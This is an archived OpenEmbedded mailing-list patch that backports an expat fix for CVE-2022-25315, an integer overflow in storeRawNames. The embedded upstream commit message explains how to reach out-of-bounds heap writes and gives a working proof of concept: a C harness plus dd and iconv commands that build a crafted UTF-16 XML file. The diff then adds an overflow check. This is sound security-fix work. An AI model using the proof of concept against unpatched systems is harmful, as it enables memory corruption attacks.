From patchwork Thu Mar 31 05:51:39 2022 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit X-Patchwork-Submitter: Kai X-Patchwork-Id: 6076 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on aws-us-west-2-korg-lkml-1.web.codeaurora.org Received: from aws-us-west-2-korg-lkml-1.web.codeaurora.org (localhost.localdomain [127.0.0.1]) by smtp.lore.kernel.org (Postfix) with ESMTP id 5F260C433F5 for ; Thu, 31 Mar 2022 05:51:55 +0000 (UTC) Received: from mail1.wrs.com (mail1.wrs.com [147.11.3.146]) by mx.groups.io with SMTP id smtpd.web11.3759.1648705911761586087 for ; Wed, 30 Mar 2022 22:51:51 -0700 Authentication-Results: mx.groups.io; dkim=missing; spf=permerror, err=parse error for token &{10 18 %{ir}.%{v}.%{d}.spf.has.pphosted.com}: invalid domain name (domain: windriver.com, ip: 147.11.3.146, mailfrom: kai.kang@windriver.com) Received: from ala-exchng01.corp.ad.wrs.com (ala-exchng01.corp.ad.wrs.com [147.11.82.252]) by mail1.wrs.com (8.15.2/8.15.2) with ESMTPS id 22V5pnY7018527 (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=FAIL) for ; Wed, 30 Mar 2022 22:51:49 -0700 Received: from ala-exchng01.corp.ad.wrs.com (147.11.82.252) by ala-exchng01.corp.ad.wrs.com (147.11.82.252) with Microsoft SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256) id 15.1.2242.12; Wed, 30 Mar 2022 22:51:48 -0700 Received: from pek-lpg-core3.wrs.com (128.224.153.232) by ala-exchng01.corp.ad.wrs.com (147.11.82.252) with Microsoft SMTP Server id 15.1.2242.12 via Frontend Transport; Wed, 30 Mar 2022 22:51:47 -0700 From: To: Subject: [hardknott][PATCH 3/3] expat: fix CVE-2022-25315 Date: Thu, 31 Mar 2022 13:51:39 +0800 Message-ID: <20220331055139.1975-3-kai.kang@windriver.com> X-Mailer: git-send-email 2.17.1 In-Reply-To: <20220331055139.1975-1-kai.kang@windriver.com> References: <20220331055139.1975-1-kai.kang@windriver.com> MIME-Version: 1.0 List-Id: X-Webhook-Received: from li982-79.members.linode.com [45.33.32.79] by aws-us-west-2-korg-lkml-1.web.codeaurora.org with HTTPS for ; Thu, 31 Mar 2022 05:51:55 -0000 X-Groupsio-URL: https://lists.openembedded.org/g/openembedded-core/message/163803 From: Kai Kang Backport patch to fix CVE-2022-25315. CVE: CVE-2022-25315 Signed-off-by: Kai Kang --- .../expat/expat/CVE-2022-25315.patch | 149 ++++++++++++++++++ meta/recipes-core/expat/expat_2.2.10.bb | 1 + 2 files changed, 150 insertions(+) create mode 100644 meta/recipes-core/expat/expat/CVE-2022-25315.patch diff --git a/meta/recipes-core/expat/expat/CVE-2022-25315.patch b/meta/recipes-core/expat/expat/CVE-2022-25315.patch new file mode 100644 index 0000000000..24e04dac71 --- /dev/null +++ b/meta/recipes-core/expat/expat/CVE-2022-25315.patch @@ -0,0 +1,149 @@ +CVE: CVE-2022-25315 +Upstream-Status: Backport [https://github.com/libexpat/libexpat/commit/eb036280] + +Ref: +* https://github.com/libexpat/libexpat/pull/559 + +Signed-off-by: Kai Kang + +From eb0362808b4f9f1e2345a0cf203b8cc196d776d9 Mon Sep 17 00:00:00 2001 +From: Samanta Navarro +Date: Tue, 15 Feb 2022 11:55:46 +0000 +Subject: [PATCH] Prevent integer overflow in storeRawNames + +It is possible to use an integer overflow in storeRawNames for out of +boundary heap writes. Default configuration is affected. If compiled +with XML_UNICODE then the attack does not work. Compiling with +-fsanitize=address confirms the following proof of concept. + +The problem can be exploited by abusing the m_buffer expansion logic. +Even though the initial size of m_buffer is a power of two, eventually +it can end up a little bit lower, thus allowing allocations very close +to INT_MAX (since INT_MAX/2 can be surpassed). This means that tag +names can be parsed which are almost INT_MAX in size. + +Unfortunately (from an attacker point of view) INT_MAX/2 is also a +limitation in string pools. Having a tag name of INT_MAX/2 characters +or more is not possible. + +Expat can convert between different encodings. UTF-16 documents which +contain only ASCII representable characters are twice as large as their +ASCII encoded counter-parts. + +The proof of concept works by taking these three considerations into +account: + +1. Move the m_buffer size slightly below a power of two by having a + short root node . This allows the m_buffer to grow very close + to INT_MAX. +2. The string pooling forbids tag names longer than or equal to + INT_MAX/2, so keep the attack tag name smaller than that. +3. To be able to still overflow INT_MAX even though the name is + limited at INT_MAX/2-1 (nul byte) we use UTF-16 encoding and a tag + which only contains ASCII characters. UTF-16 always stores two + bytes per character while the tag name is converted to using only + one. Our attack node byte count must be a bit higher than + 2/3 INT_MAX so the converted tag name is around INT_MAX/3 which + in sum can overflow INT_MAX. + +Thanks to our small root node, m_buffer can handle 2/3 INT_MAX bytes +without running into INT_MAX boundary check. The string pooling is +able to store INT_MAX/3 as tag name because the amount is below +INT_MAX/2 limitation. And creating the sum of both eventually overflows +in storeRawNames. + +Proof of Concept: + +1. Compile expat with -fsanitize=address. + +2. Create Proof of Concept binary which iterates through input + file 16 MB at once for better performance and easier integer + calculations: + +``` +cat > poc.c << EOF + #include + #include + #include + #include + + #define CHUNK (16 * 1024 * 1024) + int main(int argc, char *argv[]) { + XML_Parser parser; + FILE *fp; + char *buf; + int i; + + if (argc != 2) + errx(1, "usage: poc file.xml"); + if ((parser = XML_ParserCreate(NULL)) == NULL) + errx(1, "failed to create expat parser"); + if ((fp = fopen(argv[1], "r")) == NULL) { + XML_ParserFree(parser); + err(1, "failed to open file"); + } + if ((buf = malloc(CHUNK)) == NULL) { + fclose(fp); + XML_ParserFree(parser); + err(1, "failed to allocate buffer"); + } + i = 0; + while (fread(buf, CHUNK, 1, fp) == 1) { + printf("iteration %d: XML_Parse returns %d\n", ++i, + XML_Parse(parser, buf, CHUNK, XML_FALSE)); + } + free(buf); + fclose(fp); + XML_ParserFree(parser); + return 0; + } +EOF +gcc -fsanitize=address -lexpat -o poc poc.c +``` + +3. Construct specially prepared UTF-16 XML file: + +``` +dd if=/dev/zero bs=1024 count=794624 | tr '\0' 'a' > poc-utf8.xml +echo -n '<' | dd conv=notrunc of=poc-utf8.xml +echo -n '><' | dd conv=notrunc of=poc-utf8.xml bs=1 seek=805306368 +iconv -f UTF-8 -t UTF-16LE poc-utf8.xml > poc-utf16.xml +``` + +4. Run proof of concept: + +``` +./poc poc-utf16.xml +``` +--- + expat/lib/xmlparse.c | 7 ++++++- + 1 file changed, 6 insertions(+), 1 deletion(-) + +diff --git a/expat/lib/xmlparse.c b/expat/lib/xmlparse.c +index 4b43e613..f34d6ab5 100644 +--- a/lib/xmlparse.c ++++ b/lib/xmlparse.c +@@ -2563,6 +2563,7 @@ storeRawNames(XML_Parser parser) { + while (tag) { + int bufSize; + int nameLen = sizeof(XML_Char) * (tag->name.strLen + 1); ++ size_t rawNameLen; + char *rawNameBuf = tag->buf + nameLen; + /* Stop if already stored. Since m_tagStack is a stack, we can stop + at the first entry that has already been copied; everything +@@ -2574,7 +2575,11 @@ storeRawNames(XML_Parser parser) { + /* For re-use purposes we need to ensure that the + size of tag->buf is a multiple of sizeof(XML_Char). + */ +- bufSize = nameLen + ROUND_UP(tag->rawNameLength, sizeof(XML_Char)); ++ rawNameLen = ROUND_UP(tag->rawNameLength, sizeof(XML_Char)); ++ /* Detect and prevent integer overflow. */ ++ if (rawNameLen > (size_t)INT_MAX - nameLen) ++ return XML_FALSE; ++ bufSize = nameLen + (int)rawNameLen; + if (bufSize > tag->bufEnd - tag->buf) { + char *temp = (char *)REALLOC(parser, tag->buf, bufSize); + if (temp == NULL) +-- +2.33.0 + diff --git a/meta/recipes-core/expat/expat_2.2.10.bb b/meta/recipes-core/expat/expat_2.2.10.bb index 0ab93bd93d..c8919c7f2f 100644 --- a/meta/recipes-core/expat/expat_2.2.10.bb +++ b/meta/recipes-core/expat/expat_2.2.10.bb @@ -22,6 +22,7 @@ SRC_URI = "https://github.com/libexpat/libexpat/releases/download/R_${VERSION_TA file://CVE-2022-25236-2.patch \ file://CVE-2022-25313.patch \ file://CVE-2022-25314.patch \ + file://CVE-2022-25315.patch \ " UPSTREAM_CHECK_URI = "https://github.com/libexpat/libexpat/releases/"